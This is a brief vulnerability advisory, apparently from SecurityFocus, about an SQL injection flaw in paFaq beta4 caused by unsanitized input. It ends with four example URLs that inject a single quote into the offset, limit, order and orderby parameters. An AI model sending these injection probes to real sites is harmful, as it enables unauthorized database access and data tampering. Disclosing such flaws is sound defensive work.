source: https://www.securityfocus.com/bid/12582/info paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. http://www.example.com/index.php?act=Question&id=1&limit=10&orderby=q_id&order=DESC&offset=' http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order=DESC&limit=' http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order='&limit=10 http://www.example.com/index.php?act=Question&id=1&orderby='&order=DESC&limit=10